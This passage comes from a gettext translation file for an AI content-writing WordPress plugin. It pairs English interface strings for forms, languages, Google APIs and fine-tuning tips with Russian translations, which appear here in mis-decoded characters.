my, mine)" msgstr "ÐŸÐµÑ€Ð²Ð°Ñ Ð¿ÐµÑ€Ñона единÑтвенного чиÑла (Ñ, мне, мой, мой)" #: res/aiomatic-more.php:25 #| msgid "" #| "First up, we have the AI Assistant, your reliable companion in managing " #| "and optimizing your content. This intelligent assistant helps you with " #| "various tasks, from generating AI-powered meta tags to suggesting " #| "relevant keywords and optimizing your content for better search engine " #| "rankings. The AI Assistant is your virtual content strategist, guiding " #| "you every step of the way." msgid "" "First up, we have the Content Wizard, your reliable companion in managing " "and optimizing your content. This intelligent assistant helps you with " "various tasks, from generating AI-powered meta tags to suggesting relevant " "keywords and optimizing your content for better search engine rankings. The " "Content Wizard is your virtual content strategist, guiding you every step of " "the way." msgstr "" "Во-первых, у Ð½Ð°Ñ ÐµÑÑ‚ÑŒ МаÑтер контента, ваш надежный помощник в управлении и " "оптимизации вашего контента. Этот интеллектуальный помощник помогает вам " "решать различные задачи: от ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¼ÐµÑ‚Ð°Ñ‚ÐµÐ³Ð¾Ð² Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ иÑкуÑÑтвенного " "интеллекта до Ð¿Ñ€ÐµÐ´Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ñ€ÐµÐ»ÐµÐ²Ð°Ð½Ñ‚Ð½Ñ‹Ñ… ключевых Ñлов и оптимизации вашего " "контента Ð´Ð»Ñ Ð¿Ð¾Ð²Ñ‹ÑˆÐµÐ½Ð¸Ñ Ñ€ÐµÐ¹Ñ‚Ð¸Ð½Ð³Ð° в поиÑковых ÑиÑтемах. МаÑтер контента — ваш " "Ñтратег виртуального контента, который будет Ñопровождать Ð²Ð°Ñ Ð½Ð° каждом " "Ñтапе пути." #: res/aiomatic-chatbot.php:3987 msgid "Flagged Text Message:" msgstr "Помеченное текÑтовое ПоÑÑ‚:" #: res/aiomatic-main.php:8056 msgid "Flickr API Options:" msgstr "Параметры API Flickr:" #: res/aiomatic-main.php:8067 msgid "Flickr App ID: " msgstr "Flickr App ID: " #: res/aiomatic-main.php:8399 res/aiomatic-main.php:8918 msgid "Food" msgstr "Пища" #: res/aiomatic-main.php:1615 msgid "For more information about the plugin, please visit" msgstr "" "Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации о Плагине, пожалуйÑта, поÑетите" #: res/aiomatic-main.php:5922 msgid "for translation, the plugin also supports WPML." msgstr "Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ð° Плагин также поддерживает WPML." #: res/aiomatic-main.php:1612 msgid "" "for tutorial videos and other helpful resources. Here you can always find " "what was the newest update for it and how it got improved. I am constantly " "adding new updates to the plugin to help you get the most out of it, so be " "sure to subscribe and stay up to date with the latest version of the plugin." msgstr "" "Ð´Ð»Ñ Ð¾Ð±ÑƒÑ‡Ð°ÑŽÑ‰Ð¸Ñ… видео и других полезных реÑурÑов. ЗдеÑÑŒ вы вÑегда можете найти " "Ñамое поÑледнее обновление Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ и как оно было улучшено. Я поÑтоÑнно " "добавлÑÑŽ новые Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Плагину, чтобы помочь вам получить макÑимальную " "отдачу от него, поÑтому обÑзательно подпишитеÑÑŒ и будьте в курÑе поÑледних " "верÑий Плагина." #: res/aiomatic-embeddings.php:51 msgid "for usage of embeddings." msgstr "Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð²Ñтраиваний." #: res/aiomatic-training.php:59 msgid "for usage of fine tuned models" msgstr "Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð¾Ð½ÐºÐ¾ наÑтроенных моделей" #: res/aiomatic-main.php:1883 msgid "" "For users who belong to multiple organizations, you can pass a header to " "specify which organization is used for an API request. Usage from these API " "requests will count as usage for the specified organization. This field is " "optional." msgstr "" "Ð”Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹, принадлежащих к неÑкольким организациÑм, вы можете " "передать заголовок, чтобы указать, ÐºÐ°ÐºÐ°Ñ Ð¾Ñ€Ð³Ð°Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¸ÑпользуетÑÑ Ð´Ð»Ñ " "запроÑа API. ИÑпользование Ñтих API-запроÑов будет ÑчитатьÑÑ Ð¸Ñпользованием " "Ð´Ð»Ñ ÑƒÐºÐ°Ð·Ð°Ð½Ð½Ð¾Ð¹ организации. Это поле ÑвлÑетÑÑ Ð½ÐµÐ¾Ð±Ñзательным." #: res/aiomatic-chatbot.php:1780 res/aiomatic-chatbot.php:3619 #: res/aiomatic-main.php:3642 msgid "Form Background Color:" msgstr "Цвет Фона Формы:" #: res/aiomatic-main.php:3674 msgid "Form Button Color:" msgstr "Цвет Кнопки Формы:" #: res/aiomatic-main.php:3690 msgid "Form Button Text Color:" msgstr "Цвет ТекÑта Кнопки Формы:" #: aiomatic-automatic-ai-content-writer.php:15591 msgid "Form draft updated." msgstr "Обновлен черновик Формы." #: aiomatic-shortcodes-file.php:180 msgid "Form ID not found in the database!" msgstr "Идентификатор формы не найден в базе данных!" #: res/aiomatic-main.php:3456 msgid "Form Input Fields Max Length:" msgstr "МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° Полей Ввода Формы:" #: res/aiomatic-main.php:3440 msgid "Form Input Fields Min Length:" msgstr "ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° Полей Ввода Формы:" #: aiomatic-ajax-actions.php:7998 res/aiomatic-shortcodes.php:192 msgid "Form Options" msgstr "Параметры Формы" #: res/aiomatic-main.php:3625 msgid "Form Output Placeholder Text:" msgstr "ТекÑÑ‚ Ð·Ð°Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»Ñ Ð²Ñ‹Ð²Ð¾Ð´Ð° формы:" #: aiomatic-automatic-ai-content-writer.php:15587 msgid "Form published." msgstr "Форма опубликована." #: aiomatic-automatic-ai-content-writer.php:15586 #, php-format msgid "Form restored to revision from %s" msgstr "Форма воÑÑтановлена ​​до верÑAI %s" #: aiomatic-automatic-ai-content-writer.php:15588 msgid "Form saved." msgstr "Форма Ñохранена." #: aiomatic-automatic-ai-content-writer.php:15590 #, php-format msgid "Form scheduled for: %1$s." msgstr "Форма запланирована на: %1$s." #: aiomatic-automatic-ai-content-writer.php:15589 msgid "Form submitted." msgstr "Форма отправлена." #: res/aiomatic-main.php:3658 msgid "Form Text Color:" msgstr "Цвет ТекÑта Формы:" #: aiomatic-automatic-ai-content-writer.php:15582 #: aiomatic-automatic-ai-content-writer.php:15585 msgid "Form updated." msgstr "Форма обновлена." #: aiomatic-helpers.php:1490 msgid "France" msgstr "ФранциÑ" #: res/aiomatic-amazon-list.php:7 res/aiomatic-main.php:8553 #: res/aiomatic-review-list.php:7 res/aiomatic-rules-list.php:7 #: res/aiomatic-single-list.php:7 res/aiomatic-single-list.php:145 #: res/aiomatic-youtube-list.php:7 msgid "French" msgstr "французÑкий Ñзык" #: res/aiomatic-languages.php:22 msgid "French (Google Translate)" msgstr "ФранцузÑкий (переводчик Google)" #: aiomatic-ajax-actions.php:8146 aiomatic-shortcodes-file.php:582 #: res/aiomatic-shortcodes.php:350 msgid "Frequency Penalty" msgstr "Штраф за ЧаÑтоту" #: res/aiomatic-chatbot.php:1033 res/aiomatic-chatbot.php:4482 msgid "Frequency Penalty:" msgstr "Штраф за чаÑтоту:" #: res/aiomatic-amazon-list.php:76 res/aiomatic-review-list.php:76 #: res/aiomatic-rules-list.php:76 res/aiomatic-single-list.php:76 #: res/aiomatic-single-list.php:214 res/aiomatic-youtube-list.php:76 msgid "Frisian" msgstr "ФризÑкий" #: res/aiomatic-languages.php:76 msgid "Frisian (Google Translate)" msgstr "ФризÑкий (переводчик Google)" #: res/aiomatic-training.php:64 msgid "from OpenAI." msgstr "из OpenAI." #: aiomatic-ajax-actions.php:8153 res/aiomatic-shortcodes.php:361 msgid "Front End Options" msgstr "Параметры Внешнего ИнтерфейÑа" #: res/aiomatic-limits-statistics.php:911 #: res/aiomatic-limits-statistics.php:1205 msgid "Full Access Users:" msgstr "Пользователи Ñ Ð¿Ð¾Ð»Ð½Ñ‹Ð¼ доÑтупом:" #: res/aiomatic-rules-list.php:1255 res/aiomatic-rules-list.php:4008 #: res/aiomatic-single-list.php:2694 msgid "Fully AI Generated Titles" msgstr "Заголовки, полноÑтью Ñгенерированные AI" #: res/aiomatic-chatbot.php:640 msgid "Function Calling" msgstr "Вызов Функции" #: res/aiomatic-chatbot.php:2512 msgid "Function Calling Activation Settings:" msgstr "ÐаÑтройки Ðктивации Ыызова Функций:" #: res/aiomatic-chatbot.php:2378 msgid "Function Calling Chatbot Module Settings:" msgstr "ÐаÑтройки ÐœÐ¾Ð´ÑƒÐ»Ñ Ð’Ñ‹Ð·Ð¾Ð²Ð° Функций Чат-бота:" #: res/aiomatic-amazon-list.php:25 res/aiomatic-review-list.php:25 #: res/aiomatic-rules-list.php:25 res/aiomatic-single-list.php:25 #: res/aiomatic-single-list.php:163 res/aiomatic-youtube-list.php:25 msgid "Galician" msgstr "Галицкий" #: res/aiomatic-languages.php:23 msgid "Galician (Google Translate)" msgstr "ГалиÑийÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:1980 res/aiomatic-amazon-list.php:4568 #: res/aiomatic-csv-list.php:429 res/aiomatic-csv-list.php:1571 #: res/aiomatic-review-list.php:2049 res/aiomatic-review-list.php:4721 #: res/aiomatic-rules-list.php:2178 res/aiomatic-rules-list.php:4957 #: res/aiomatic-youtube-list.php:1951 res/aiomatic-youtube-list.php:4496 msgid "Gallery" msgstr "ГаллереÑ" #: aiomatic-automation.php:589 msgid "Gathers the content of a single file." msgstr "Собирает контент одного файла." #: res/aiomatic-logs.php:334 msgid "GD Library" msgstr "GD Library" #: res/aiomatic-logs.php:334 msgid "GD Library:" msgstr "GD Library:" #: res/aiomatic-main.php:2916 msgid "General AI Image Generator Settings:" msgstr "Общие наÑтройки Генератора изображений AI:" #: res/aiomatic-main.php:27 msgid "General Settings" msgstr "ОÑновные ÐаÑтройки" #: res/aiomatic-logs.php:59 msgid "General System Info:" msgstr "ÐžÐ±Ñ‰Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ ÑиÑтеме:" #: res/aiomatic-spinner-list.php:895 msgid "General Tips" msgstr "Общие Ñоветы" #: res/admin/ai-post-gutenberg.php:58 res/admin/ai-post.php:56 msgid "Generate A SEO Meta Description" msgstr "Сгенерировать Мета-опиÑание SEO" #: res/admin/ai-post-gutenberg.php:54 res/admin/ai-post.php:52 msgid "Generate A SEO Title" msgstr "Сгенерировать SEO-Заголовок" #: res/admin/ai-post-gutenberg.php:62 res/admin/ai-post.php:60 msgid "Generate Content" msgstr "Сгенерировать Контент" #: res/admin/ai-post-gutenberg.php:66 res/admin/ai-post.php:64 msgid "Generate Short Description (Excerpt)" msgstr "Создать Краткое ОпиÑание (ÐнонÑ)" #: res/admin/ai-post-gutenberg.php:70 res/admin/ai-post.php:68 msgid "Generate Tags" msgstr "Сгенерировать Теги" #: res/image-seo/seo-panel.php:59 msgid "Generate Text" msgstr "Сгенерировать ТекÑÑ‚" #: res/aiomatic-single-list.php:1093 msgid "Generate Title And Content" msgstr "Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° и Контента" #: res/admin/ai-post-gutenberg.php:239 res/admin/ai-post.php:203 msgid "Generate Using AI" msgstr "Сгенерировать ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ AI" #: res/aiomatic-spinner-list.php:1437 msgid "Generated Featured Image Size:" msgstr "Размер Ñгенерированного избранного изображениÑ:" #: res/aiomatic-amazon-list.php:4285 res/aiomatic-review-list.php:4438 #: res/aiomatic-rules-list.php:4674 res/aiomatic-youtube-list.php:4196 msgid "Generated Image Size" msgstr "Размер Ñгенерированного изображениÑ" #: res/aiomatic-amazon-list.php:1713 res/aiomatic-review-list.php:1782 #: res/aiomatic-rules-list.php:1911 res/aiomatic-single-list.php:2378 #: res/aiomatic-single-list.php:3128 res/aiomatic-single-list.php:4381 #: res/aiomatic-single-list.php:5695 res/aiomatic-single-list.php:7061 #: res/aiomatic-youtube-list.php:1669 msgid "Generated Image Size:" msgstr "Размер Ñгенерированного изображениÑ:" #: res/aiomatic-amazon-list.php:4551 res/aiomatic-csv-list.php:1554 #: res/aiomatic-review-list.php:4704 res/aiomatic-rules-list.php:4940 #: res/aiomatic-youtube-list.php:4479 msgid "Generated Post Format" msgstr "Сгенерированный почтовый формат" #: res/aiomatic-amazon-list.php:1974 res/aiomatic-csv-list.php:423 #: res/aiomatic-review-list.php:2043 res/aiomatic-rules-list.php:2172 #: res/aiomatic-youtube-list.php:1945 msgid "Generated Post Format:" msgstr "Сгенерированный почтовый формат:" #: res/aiomatic-single-list.php:7207 msgid "Generated Results" msgstr "Сгенерированные результаты" #: aiomatic-automation.php:100 msgid "Generates AI images using different Dall-E models" msgstr "Генерирует Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI Ñ Ð¸Ñпользованием различных моделей Dall-E." #: aiomatic-automation.php:130 msgid "Generates AI images using different Stable Diffusion models" msgstr "" "Генерирует Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI Ñ Ð¸Ñпользованием различных моделей Stable " "Diffusion." #: aiomatic-automation.php:12 msgid "Generates AI textual content using different models" msgstr "Генерирует текÑтовый контент AI Ñ Ð¸Ñпользованием различных моделей." #: aiomatic-automation.php:42 msgid "" "Generates AI textual content using different models, calling the AI writer " "for each line of the input text (with respective prompt changes)" msgstr "" "Генерирует текÑтовый контент AI, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ðµ модели, Ð²Ñ‹Ð·Ñ‹Ð²Ð°Ñ " "ÑредÑтво запиÑи AI Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ Ñтроки входного текÑта (Ñ ÑоответÑтвующими " "изменениÑми промпта)." #: aiomatic-automation.php:160 msgid "Generates AI videos using different source images" msgstr "Генерирует видео AI, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ðµ иÑходные изображениÑ." #: aiomatic-automatic-ai-content-writer.php:1661 #: aiomatic-automatic-ai-content-writer.php:1690 msgid "Generating content..." msgstr "Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°..." #: aiomatic-automatic-ai-content-writer.php:1660 #: aiomatic-automatic-ai-content-writer.php:1689 msgid "Generating SEO meta description..." msgstr "Сгенерировать Мета-опиÑание SEO..." #: aiomatic-automatic-ai-content-writer.php:1662 #: aiomatic-automatic-ai-content-writer.php:1691 msgid "Generating short description (excerpt)..." msgstr "Сгенерировать Краткое ОпиÑание (ÐнонÑ)..." #: aiomatic-automatic-ai-content-writer.php:1663 #: aiomatic-automatic-ai-content-writer.php:1692 msgid "Generating tags..." msgstr "Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ð¢ÐµÐ³Ð¾Ð²..." #: aiomatic-automatic-ai-content-writer.php:1659 #: aiomatic-automatic-ai-content-writer.php:1688 msgid "Generating title..." msgstr "Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°..." #: res/aiomatic-amazon-list.php:66 res/aiomatic-review-list.php:66 #: res/aiomatic-rules-list.php:66 res/aiomatic-single-list.php:66 #: res/aiomatic-single-list.php:204 res/aiomatic-youtube-list.php:66 msgid "Georgian" msgstr "ГрузинÑкий" #: res/aiomatic-languages.php:66 msgid "Georgian (Google Translate)" msgstr "ГрузинÑкий (переводчик гугл)" #: res/aiomatic-amazon-list.php:26 res/aiomatic-main.php:8543 #: res/aiomatic-review-list.php:26 res/aiomatic-rules-list.php:26 #: res/aiomatic-single-list.php:26 res/aiomatic-single-list.php:164 #: res/aiomatic-youtube-list.php:26 msgid "German" msgstr "Ðемецкий" #: res/aiomatic-languages.php:24 msgid "German (Google Translate)" msgstr "Ðемецкий (переводчик Google)" #: aiomatic-helpers.php:1489 msgid "Germany" msgstr "ГерманиÑ" #: res/aiomatic-main.php:6080 res/aiomatic-main.php:6083 #: res/aiomatic-main.php:6086 res/aiomatic-main.php:6089 #: res/aiomatic-main.php:6092 res/aiomatic-main.php:6095 msgid "get a new account now!" msgstr "получить новый аккаунт ÑейчаÑ!" #: res/aiomatic-extensions.php:38 msgid "GET IT" msgstr "Получить" #: res/aiomatic-main.php:5922 msgid "Get WPML now!" msgstr "Получите WPML ÑейчаÑ!" #: res/aiomatic-main.php:1557 msgid "Getting started?" msgstr "Ðачинаешь Работу Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð¾Ð¼?" #: res/aiomatic-main.php:2476 msgid "global" msgstr "глобальный" #: res/aiomatic-main.php:5902 msgid "Global Banned Words List:" msgstr "Глобальный СпиÑок Запрещенных Слов:" #: res/aiomatic-amazon-list.php:1176 res/aiomatic-amazon-list.php:3717 #: res/aiomatic-review-list.php:1245 res/aiomatic-review-list.php:3870 #: res/aiomatic-rules-list.php:1378 res/aiomatic-rules-list.php:4118 #: res/aiomatic-single-list.php:2082 res/aiomatic-single-list.php:2817 #: res/aiomatic-single-list.php:4070 res/aiomatic-single-list.php:5384 #: res/aiomatic-single-list.php:6750 res/aiomatic-youtube-list.php:1132 #: res/aiomatic-youtube-list.php:3628 msgid "Global Prompt Options" msgstr "Глобальные Параметры Промпта" #: res/aiomatic-main.php:5864 msgid "Global Required Words List:" msgstr "Глобальный СпиÑок ОбÑзательных Слов:" #: res/aiomatic-assistants.php:60 msgid "" "Go to the 'Manage Assistants' tab and click the 'Add New Assistant' button. " "Fill out an intuitive name for the assistant, select an AI model, add a " "description and in the 'Assistant Context Prompt' settings field, be sure to " "add any information that the Assistant should be aware of. Here you can " "teach it about its name, role and purpose. You can also enable advanced " "features like 'Code Interpreter' and 'Retrieval', add your own functions or " "even upload files for the assistant to process and to extract content from " "them. Finally, you can assign also an avatar for the Assistant, which will " "be used for the chatbot, when this assistant is used." msgstr "" "Перейдите на вкладку «Управление аÑÑиÑтентами» и нажмите кнопку «Добавить " "нового аÑÑиÑтента». Заполните интуитивно понÑтное Ð¸Ð¼Ñ Ð°ÑÑиÑтента, выберите " "модель AI , добавьте опиÑание и в поле наÑтроек «КонтекÑтный промпт " "аÑÑиÑтента» обÑзательно добавьте любую информацию, о которой должен знать " "аÑÑиÑтент. ЗдеÑÑŒ вы можете раÑÑказать ему о его названии, роли и назначении. " "Ð’Ñ‹ также можете включить раÑширенные функции, такие как «Интерпретатор кода» " "и «Извлечение», добавить Ñвои ÑобÑтвенные функции или даже загрузить файлы, " "чтобы помощник мог их обработать и извлечь из них контент. Ðаконец, вы также " "можете назначить аватар Ð´Ð»Ñ Ð°ÑÑиÑтента, который будет иÑпользоватьÑÑ Ñ‡Ð°Ñ‚-" "ботом при иÑпользовании Ñтого аÑÑиÑтента." #: res/aiomatic-assistants.php:492 res/aiomatic-assistants.php:647 msgid "God Mode (WordPress Function Calling)" msgstr "Режим Бога (Вызов Функции WordPress)" #: aiomatic-automatic-ai-content-writer.php:17701 msgid "Google did not generate any audio for this text" msgstr "Google не генерировал аудио Ð´Ð»Ñ Ñтого текÑта." #: res/aiomatic-main.php:8663 msgid "Google Images API Options:" msgstr "Параметры API Изображений Google:" #: res/aiomatic-main.php:1928 msgid "Google MakerSuite AI API Settings" msgstr "ÐаÑтройки API Google MakerSuite AI" #: aiomatic-automation.php:910 msgid "Google My Business Post Image URL" msgstr "URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñта в Google Мой бизнеÑ" #: aiomatic-automation.php:903 msgid "Google My Business Post Template" msgstr "Шаблон ПоÑта в Google Мой бизнеÑ" #: aiomatic-automation.php:301 msgid "Google Search" msgstr "ПоиÑк Гугл" #: res/aiomatic-main.php:2230 msgid "Google SERP API Key (Only For Internet Access, Not Related Headings)" msgstr "" "Ключ Google SERP API (только Ð´Ð»Ñ Ð´Ð¾Ñтупа в Интернет, без ÑвÑзанных " "заголовков)" #: res/aiomatic-main.php:2251 msgid "" "Google SERP API Search Engine ID (CX Value) (Only For Internet Access, Not " "Related Headings)" msgstr "" "Идентификатор поиÑковой ÑиÑтемы Google SERP API (значение CX) (только Ð´Ð»Ñ " "доÑтупа в Интернет, без ÑвÑзанных заголовков)" #: res/aiomatic-main.php:2219 msgid "Google SERP API:" msgstr "Google SERP API:" #: res/aiomatic-main.php:2184 msgid "Google Text-to-Speech" msgstr "Преобразование ТекÑта в Речь Google" #: res/aiomatic-main.php:2173 msgid "Google Text-to-Speech API:" msgstr "API Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь Google:" #: res/aiomatic-main.php:2387 msgid "Google Translator API Key (Optional)" msgstr "Ключ API переводчика Google (необÑзательно)" #: res/aiomatic-main.php:2376 msgid "Google Translator API:" msgstr "API Google Переводчика:" #: res/aiomatic-amazon-list.php:27 res/aiomatic-main.php:8638 #: res/aiomatic-review-list.php:27 res/aiomatic-rules-list.php:27 #: res/aiomatic-single-list.php:27 res/aiomatic-single-list.php:165 #: res/aiomatic-youtube-list.php:27 msgid "Greek" msgstr "ГречеÑкий" #: res/aiomatic-languages.php:25 msgid "Greek (Google Translate)" msgstr "ГречеÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:117 res/aiomatic-review-list.php:117 #: res/aiomatic-rules-list.php:117 res/aiomatic-single-list.php:117 #: res/aiomatic-single-list.php:255 res/aiomatic-youtube-list.php:117 msgid "Guarani" msgstr "Гуарани" #: res/aiomatic-languages.php:118 msgid "Guarani (Google Translate)" msgstr "Гуарани (Переводчик Google)" #: res/aiomatic-amazon-list.php:68 res/aiomatic-review-list.php:68 #: res/aiomatic-rules-list.php:68 res/aiomatic-single-list.php:68 #: res/aiomatic-single-list.php:206 res/aiomatic-youtube-list.php:68 msgid "Gujarati" msgstr "гуджарати" #: res/aiomatic-languages.php:68 msgid "Gujarati (Google Translate)" msgstr "Гуджарати (переводчик Google)" #: res/aiomatic-amazon-list.php:542 res/aiomatic-amazon-list.php:3146 #: res/aiomatic-review-list.php:469 res/aiomatic-review-list.php:3131 #: res/aiomatic-rules-list.php:475 res/aiomatic-rules-list.php:3298 #: res/aiomatic-single-list.php:1428 res/aiomatic-single-list.php:3416 #: res/aiomatic-single-list.php:4750 res/aiomatic-single-list.php:5974 #: res/aiomatic-youtube-list.php:478 res/aiomatic-youtube-list.php:3031 msgid "h2" msgstr "h2" #: res/aiomatic-amazon-list.php:543 res/aiomatic-amazon-list.php:3151 #: res/aiomatic-review-list.php:470 res/aiomatic-review-list.php:3136 #: res/aiomatic-rules-list.php:476 res/aiomatic-rules-list.php:3303 #: res/aiomatic-single-list.php:1429 res/aiomatic-single-list.php:3417 #: res/aiomatic-single-list.php:4751 res/aiomatic-single-list.php:5975 #: res/aiomatic-youtube-list.php:479 res/aiomatic-youtube-list.php:3036 msgid "h3" msgstr "h3" #: res/aiomatic-amazon-list.php:69 res/aiomatic-review-list.php:69 #: res/aiomatic-rules-list.php:69 res/aiomatic-single-list.php:69 #: res/aiomatic-single-list.php:207 res/aiomatic-youtube-list.php:69 msgid "Haitian Creole" msgstr "ГаитÑнÑкий креольÑкий" #: res/aiomatic-languages.php:69 msgid "Haitian Creole (Google Translate)" msgstr "ГаитÑнÑкий креольÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:78 res/aiomatic-review-list.php:78 #: res/aiomatic-rules-list.php:78 res/aiomatic-single-list.php:78 #: res/aiomatic-single-list.php:216 res/aiomatic-youtube-list.php:78 msgid "Hausa" msgstr "ХауÑа" #: res/aiomatic-languages.php:78 msgid "Hausa (Google Translate)" msgstr "ХауÑа (переводчик гугл)" #: res/aiomatic-main.php:1745 #, php-format msgid "" "Having issues with the plugin? Please be sure to check out our knowledge-base before you contact our support!" msgstr "" "Возникли проблемы Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð¾Ð¼? ОбÑзательно ознакомьтеÑÑŒ Ñ Ð½Ð°ÑˆÐ¸Ð¼Ð¸ knowledge-base прежде чем вы ÑвÑжетеÑÑŒ нашей поддержкой!" #: res/aiomatic-amazon-list.php:79 res/aiomatic-review-list.php:79 #: res/aiomatic-rules-list.php:79 res/aiomatic-single-list.php:79 #: res/aiomatic-single-list.php:217 res/aiomatic-youtube-list.php:79 msgid "Hawaian" msgstr "гавайÑкий" #: res/aiomatic-languages.php:79 msgid "Hawaian (Google Translate)" msgstr "ГавайÑкий (переводчик Google)" #: aiomatic-automation.php:1081 msgid "Headers Template" msgstr "Шаблон заголовков" #: res/aiomatic-youtube-list.php:3117 msgid "Heading Image Location" msgstr "РаÑположение Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°" #: res/aiomatic-single-list.php:1494 res/aiomatic-single-list.php:3482 #: res/aiomatic-youtube-list.php:544 msgid "Heading Image Location:" msgstr "МеÑтоположение Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°:" #: res/aiomatic-rules-list.php:3384 msgid "Heading Image/Video Location" msgstr "МеÑтоположение изображениÑ/видео заголовка" #: res/aiomatic-rules-list.php:541 msgid "Heading Image/Video Location:" msgstr "МеÑтоположение изображениÑ/видео в заголовке:" #: res/aiomatic-main.php:2080 msgid "HeadlessBrowserAPI Key (Optional)" msgstr "Ключ HeadlessBrowserAPI (необÑзательно)" #: res/aiomatic-chatbot.php:3411 res/aiomatic-spinner-list.php:3631 msgid "Headphones or earbuds" msgstr "Ðаушники или вкладыши" #: res/aiomatic-main.php:8379 res/aiomatic-main.php:8898 msgid "Health" msgstr "Здоровье" #: res/aiomatic-amazon-list.php:28 res/aiomatic-review-list.php:28 #: res/aiomatic-rules-list.php:28 res/aiomatic-single-list.php:28 #: res/aiomatic-single-list.php:166 res/aiomatic-youtube-list.php:28 msgid "Hebrew" msgstr "иврит" #: res/aiomatic-languages.php:26 msgid "Hebrew (Google Translate)" msgstr "Иврит (переводчик гугл)" #: res/aiomatic-main.php:1551 msgid "Hello, my name is" msgstr "Привет! ÐœÐµÐ½Ñ Ð·Ð¾Ð²ÑƒÑ‚" #: aiomatic-automatic-ai-content-writer.php:710 res/aiomatic-chatbot.php:2066 #: res/aiomatic-extensions.php:7 res/aiomatic-main.php:2999 #: res/aiomatic-training.php:64 res/aiomatic-training.php:67 msgid "here" msgstr "здеÑÑŒ" #: res/aiomatic-training.php:61 msgid "" "Here are some options you have, to help create the data for fine-tuning " "(select the one that best fits your needs)" msgstr "" "Вот неÑколько вариантов, которые у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ, чтобы помочь Ñоздать данные Ð´Ð»Ñ " "точной ÐаÑтройки (выберите тот, который лучше вÑего ÑоответÑтвует вашим " "потребноÑÑ‚Ñм)" #: res/aiomatic-training.php:67 msgid "" "Here you can also download your data or directly upload it to OpenAI for " "usage. Useful tip: to gather your data, start by collecting info about your " "website pages, content, and any ideas you have in your mind. Try to create a " "file, or several files, without any HTML formatting or other unnecessary " "elements. If you have access to ChatGPT, use it to generate a large number " "of questions and answers based on your content. Gather the data in a Google " "Sheet with the two columns, and make sure to review and perfect it. A " "dataset should have a minimum of 500 rows to offer useful results, and much " "more if you want to achieve better results. According to the OpenAI " "documentation, above 3,000 rows are recommended. But it ultimately depends " "on what you're trying to achieve. Be sure to select the base model for which " "you want to create a fine tune, from the 'Model Base' dropdown list, because " "you decide at this step for which model you want to create a fine tune with " "the uploaded data. Check OpenAI's recommendations for fine tuning," msgstr "" "ЗдеÑÑŒ вы также можете загрузить Ñвои данные или напрÑмую загрузить их в " "OpenAI Ð´Ð»Ñ Ð¸ÑпользованиÑ. Полезный Ñовет: чтобы Ñобрать данные, начните Ñо " "Ñбора информации о Ñтраницах вашего Ñайта, Ñодержании и любых идеÑÑ…, которые " "у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ. Попробуйте Ñоздать файл или неÑколько файлов без Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ " "HTML или других ненужных Ñлементов. ЕÑли у Ð²Ð°Ñ ÐµÑÑ‚ÑŒ доÑтуп к ChatGPT, " "иÑпользуйте его Ð´Ð»Ñ 